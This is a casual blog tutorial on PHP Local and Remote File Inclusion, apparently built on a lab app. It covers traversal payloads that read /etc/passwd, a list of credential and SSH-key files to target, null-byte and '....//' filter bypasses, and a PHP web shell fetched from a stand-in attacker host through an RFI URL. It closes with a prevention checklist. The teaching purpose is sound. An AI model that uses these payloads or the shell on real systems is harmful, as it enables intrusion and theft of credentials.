Set up Listener

Yo what’s up hackers and learners

Today, I wanna break down a classic web vuln that I recently got my head around: Local File Inclusion, aka LFI. If you’re diving into bug bounties, CTFs, or web pentesting just like me, this one’s a must-know. And trust me, once it clicks, it’s kinda beautiful in a terrifying way 😅.


🧠 What Even Is LFI?

Local File Inclusion is a vulnerability where a web app lets a user include files on the server, either for viewing or execution. It’s often caused by PHP that are poorly written and implemented , improper input sanitization when user-controlled data is used in file path functions like:


<?php
  include($_GET['page']);
?>

Yup. That innocent ?page=about.php can become something way more spicy.

Exploiting LFI

So, we have this vulnerable web app with pages like home, about, and contact. When you look at the URLs, you’ll notice stuff like:

No Detection

No Detection


/page.php?page=pages/home.php
/page.php?page=pages/about.php
/page.php?page=pages/contact.php

Here’s the catch: the page parameter is vulnerable to Local File Inclusion (LFI).

What that means is instead of just loading those normal pages, you can mess with the input and try stuff like:


/page.php?page=../../../../../../../etc/passwd

No Detection

you just read the server’s /etc/passwd file (if it’s a Linux box), which is a classic LFI move to prove the vulnerability exists.

If you’re on Windows, try:


/page.php?page=../../../../windows/win.ini

Also, a sneaky trick is to check:


/proc/self/environ

Sometimes that leaks environment variables, and those can be juicy for further attacks.

What is the Risk of File Inclusion?

File inclusion vulnerabilities such as Local File Inclusion (LFI) and Remote File Inclusion (RFI) can pose serious risks to a web application. At their core, they allow attackers to force the application to load and execute files they shouldn’t have access to.

Here’s why it’s dangerous:

  1. Sensitive File Disclosure: Attackers can read files on the server like:

    • /etc/passwd (Linux user info)

    • Application source code

    • .env or config files (with API keys, DB creds, etc.)

  2. Chaining to RCE: If the attacker can upload a file (e.g., via file upload or log injection), they might include that file via LFI to execute arbitrary code turning LFI into Remote Code Execution (RCE).

  3. Server-Side Enumeration: File inclusion can also allow attackers to discover internal server paths or services by brute-forcing or fuzzing local paths.

  4. Privilege Escalation & Pivoting: In some setups, included files might inherit privileges of the web server or expose credentials that can be used to move laterally or escalate access.


Real-World Example:

Imagine a PHP app with this line:


include($_GET["page"]);

If there’s no proper validation, an attacker can do:


http://target.com/index.php?page=../../../../etc/passwd

or


http://target.com/index.php?page=/uploads/shell.php

Unauthorized file access + potential RCE = major compromise

What is a Path Traversal Vulnerability?

Path Traversal (also called Directory Traversal) is a vulnerability that allows attackers to access files and directories outside the intended scope by manipulating input parameters that reference file paths.


Why It Happens:

The vulnerability typically occurs when user input is used directly in file operations for example, reading a file using file_get_contents() in PHP without proper input validation.

Important:

file_get_contents() is not inherently vulnerable the issue is when untrusted user input is passed directly into it.

What Does ../../../../ Really Mean?

Path Traversal, also known as the “dot-dot-slash” (../) attack, is a technique where an attacker manipulates file paths to move up the directory structure and access files that should be off-limits.

How It Works:

In many operating systems, ../ means “go up one directory.” By chaining multiple ../, attackers can escape the intended folder and reach sensitive system or application files.

how ../../../../ Works


# Create a demo directory structure
tobiasare@hacktheplanet:~$ mkdir -p /tmp/demo/var/www/html/uploads
tobiasare@hacktheplanet:~$ cd /tmp/demo/var/www/html/uploads

# Show current path
tobiasare@hacktheplanet:~$ pwd

# Go up one directory
tobiasare@hacktheplanet:~$ cd ..

# Go up two more directories
tobiasare@hacktheplanet:~$ cd ../..

# Go back to the demo root
tobiasare@hacktheplanet:~$ cd ../../../../

# Create a fake sensitive file
tobiasare@hacktheplanet:~$ echo "root:x:0:0:root:/root:/bin/bash" > etc_passwd

# Simulate a path traversal to access the file
tobiasare@hacktheplanet:~$ cat var/www/html/uploads/../../../../etc_passwd
  

No Detection

Bypassing Filters in LFI/Path Traversal Know Your Target Files

Sometimes, devs try to protect against file inclusion or path traversal by filtering out obvious payloads. But if you’re testing an app, knowing which OS-level files to target can help you validate vulnerabilities, bypass weak filters, or escalate further.

Below are some commonly accessed system files on Linux and Windows that can leak juicy info:


Linux Targets

Location Description
/etc/issue Displays the system’s pre-login message or banner. Can reveal OS flavor/version.
/etc/profile Defines global environment variables (e.g., PATH, umask) applies to all users.
/proc/version Contains the Linux kernel version useful for kernel-based exploits.
/etc/passwd Lists all local users. Doesn’t store passwords (that’s /etc/shadow).
/etc/shadow Stores hashed passwords for user accounts (root access required). Goldmine for cracking.
/root/.bash_history Shows commands run by the root user often reveals passwords, configs, etc.
/var/log/dmesg Contains kernel ring buffer messages useful for debugging hardware and system info.
/var/mail/root Stores root’s local email might contain alerts, logs, or tool output.
/root/.ssh/id_rsa Root’s private SSH key compromise this = full system access.
/var/log/apache2/access.log Shows every request to the Apache server. Great for log poisoning or recon.

Windows Targets

Location Description
C:\boot.ini Legacy file for boot config on BIOS-based systems. Leaks OS and bootloader info.

Black Box LFI Testing with Null Byte Injection

When you don’t have any info about a web application (black box testing), you have to start by probing it with random inputs for example, using the lang parameter with some random value like hello.

Say you have this URL:


pagebypassnulbyte.php?lang=EN

No Detection

No Detection

You can change the language from English to Spanish or any other supported language by modifying the lang parameter.

Step 1: Recon Sending a Random Input

Let’s first send a random input, like hello, to see how the app responds:


pagebypassnulbyte.php?lang=hello

No Detection

You get this error message:

Warning: include(languages/hello.php): failed to open stream: No such file or directory in /home/wordisbond/Desktop/vulnauth/lfi/pagebypassnulbyte.php on line 97

This error leaks important info: the app tries to include the file languages/hello.php. From this, we know two things:

  • The lang parameter value is appended with .php inside the languages/ directory.

  • The file path is constructed like: languages/{lang}.php.

Since the error message also reveals the full application path (/home/wordisbond/Desktop/vulnauth/lfi/), we can use it to plan directory traversal attacks.

Step 2: Attempt Directory Traversal

If we want to access files outside the languages directory, we can try directory traversal like this:


pagebypassnulbyte.php?lang=../../../../../etc/passwd

No Detection

But we get another error:

Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /home/wordisbond/Desktop/vulnauth/lfi/pagebypassnulbyte.php on line 97

The .php extension is still appended, so the server tries to load /etc/passwd.php which doesn’t exist. This means the developer hard-coded .php after the input.

Step 3: Bypass the .php Suffix with Null Byte Injection

To bypass this, we can use the Null Byte (%00) injection technique. Null Byte is a special URL-encoded character (%00) that terminates strings in some older PHP versions. It tricks the include function to ignore everything after it.

So if you send:


pagebypassnulbyte.php?lang=../../../../../etc/passwd%00

The include function will interpret:


include("languages/../../../../../etc/passwd%00") . ".php");

which effectively becomes:


include("languages/../../../../../etc/passwd");

and the file /etc/passwd will be included (if the PHP version is vulnerable).

No Detection

Important Note: The Null Byte injection technique was fixed in PHP 5.3.4 and later versions. So, on modern PHP versions, %00 won't work anymore.

Bypassing ../ Filters in LFI

In our initial setup, the app lets us change the language using a lang parameter switching between English and Spanish:

?lang=en.php ?lang=es.php

No Detection

No Detection

But now the dev got a lil paranoid and added some basic input filtering specifically, they’re trying to block directory traversal by stripping ../ from the input.

Let’s test this filter by trying to read a classic LFI target:


lang=../../../../../../etc/passwd

And we get the following PHP warning:

Warning: include(languages/etc/passwd): Failed to open stream: No such file or directory in /home/wordisbond/Desktop/vulnauth/lfi/pagebypassslash.php on line 76
Warning: include(): Failed opening 'languages/etc/passwd' for inclusion (include_path='.:/usr/share/php') in /home/wordisbond/Desktop/vulnauth/lfi/pagebypassslash.php on line 76

No Detection

If you look closely at the first line, you’ll notice that instead of including ../../etc/passwd, PHP is trying to include:
languages/etc/passwd

So clearly, the app is stripping all ../ instances from the input via str_replace('../', '', $_GET['lang']).


Bypass Payload:

Try this sneaky payload instead:


?lang=....//....//....//....//....//....//etc/passwd

No Detection

And it works.


Why does this bypass work?

Because the filter only removes exact matches of ../. It doesn’t normalize paths or do recursive cleanup. That means:

  • ....//../

  • So str_replace('../', '', '....//etc/passwd') leaves it untouched

  • The PHP engine still resolves ....// to ../ under the hood during path resolution

Here’s a visual to make it even clearer:

No Detection

No Detection

Bypassing Defined Directory Restrictions + Input Validation

When developers try to lock down Local File Inclusion (LFI) vulnerabilities, a common defense is forcing the user input to start with a defined directory for example, requiring lang=languages/en.php. This looks like a solid way to restrict file access, right?

But attackers can still sneak through.

If the app expects a URL like this:

http://example.com/pagebypassslashdefineddirectory.php?lang=languages/en.php

No Detection

If you try to send a payload without the required directory prefix, like this:


?lang=....//....//....//....//....//....//etc/passwd

The application rejects it outright, showing an error message such as:

Invalid path. Must begin with languages/

No Detection

This blocks direct traversal attempts that don’t start with languages/.

However, you can still bypass the restriction by including the required directory prefix and then injecting traversal sequences, like so


?lang=languages/....//....//....//....//....//....//etc/passwd

No Detection

Here’s the trick:

  • The input starts with languages/ to pass the check

  • The ....// pattern works like ../ in file paths, letting you climb out of the intended directory

This happens because input validation is often done with simple string replacements or prefix checks, missing the full path resolution context leaving the door wide open for crafty traversal bypasses.

Remote File Inclusion (RFI) A Hacker’s Backdoor to Your Server

What Is RFI?

Remote File Inclusion (RFI) is a high-severity web vulnerability that occurs when an application dynamically includes external files typically via user-supplied input without proper validation or sanitization. When exploited, an attacker can inject a remote URL into a file-handling function (like include(), require(), etc.), causing the server to fetch and execute malicious code hosted on an external server.

For RFI to be possible, certain PHP configurations need to be enabled most notably:

  • allow_url_fopen = On

This setting allows PHP to open external URLs as if they were local files, making the inclusion of remote payloads feasible.


Why Is RFI So Dangerous?

Compared to Local File Inclusion (LFI), which is limited to reading files already present on the target server, RFI opens the door to Remote Code Execution (RCE) essentially giving attackers the ability to run arbitrary code from their own server on the victim system.

Here are some nightmare scenarios that can result from a successful RFI attack:

  • Sensitive Information Disclosure (e.g., config files, database credentials)

  • Remote Code Execution (RCE) with full shell access

  • Cross-Site Scripting (XSS) if the included file contains malicious JavaScript

  • Denial of Service (DoS) by including large or malicious files

  • Web Shell Uploads for post-exploitation access and persistence


How Does an RFI Attack Work?

Let’s break this down with a step-by-step example:

Scenario: Vulnerable PHP Web App

You have a page like this:


http://example.com/RFI.php?lang=en.php

No Detection

And the vulnerable code on the backend looks like this:

<?php include($_GET['lang']); ?>

The developer didn’t validate or sanitize the input. That’s the red flag.

Step-by-Step Exploitation

  1. Attacker Prepares Payload The attacker hosts a malicious file, for example:

    • URL: http://attacker.thm/cmd.txt

    • Content of cmd.txt:


<?php

echo "<div style='
    background-color: #111;
    color: #0f0;
    font-family: monospace;
    padding: 20px;
    border: 2px solid red;
    border-radius: 10px;
    text-align: center;
'>
    <h1>💀 You Have Been Pwned 💀</h1>
    <p>RFI successful. Shell access granted.</p>
</div>";

if (isset($_GET['cmd'])) {
    echo "<pre style='background:#000; color:#0f0; padding:10px; border-radius:5px;'>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "<p style='color: #f33;'>No command received. Try <code>?cmd=whoami</code></p>";
}

?>
  1. Attacker Sends Exploit Request They craft a URL to trick the server into loading their file:

http://example.com/RFI.php?lang=http://10.0.2.15:8000/cmd.txt&cmd=whoami
  
  1. Server Fetches and Executes File If allow_url_fopen is enabled and no filtering is applied, the server will:

    • Make a request to attacker.thm

    • Fetch cmd.txt

    • Inject and execute its contents within the application context

  2. Code Execution The server runs whatever PHP is in, it could be a full PHP web shell (system($_GET['cmd']), reverse shell, etc.)

No Detection

staying Sharp: Defending Against File Inclusion Vulnerabilities

Web apps are dope, but if you’re not securing them right, you’re just leaving the door wide open for attackers. One of the most common issues? File Inclusion Vulnerabilities (think LFI, RFI). They’re sneaky, dangerous, and way too common in misconfigured PHP setups.

Why You Should Care

Understanding how these bugs work and how to prevent them is key to building (or hacking) safely. Whether you’re a dev, hacker, or just security-curious, here’s the lowdown on protecting your app from getting wrecked.


Prevention Checklist

1. Keep everything updated. Your PHP version, CMS, frameworks, plugins if it runs code, it needs updates. Old versions = old vulnerabilities.

2. Hide your errors. Turn off PHP error reporting in production (display_errors = Off). You don’t wanna leak your file paths or internal structure to attackers.

3. Use a WAF.
Web Application Firewalls can filter out sketchy requests before they reach your app. Tools like Cloudflare or ModSecurity can be lifesavers.

4. Lock down dangerous PHP features. If your app doesn’t use remote file access, disable these in php.ini:

allow_url_fopen = Off allow_url_include = Off

5. Control input protocols. Limit the types of wrappers (e.g., php://, data://, zip://) your app can handle. Analyze what you really need and block the rest.

6. Sanitize & validate all user input. Never trust user input. Use strict input validation. Assume attackers will try ....//, null bytes, encoded payloads and block ‘em.

7. Whitelist > Blacklist. Define exactly what files can be included, and from where. Don’t rely on just blacklisting risky strings like ../ it’s bypassable.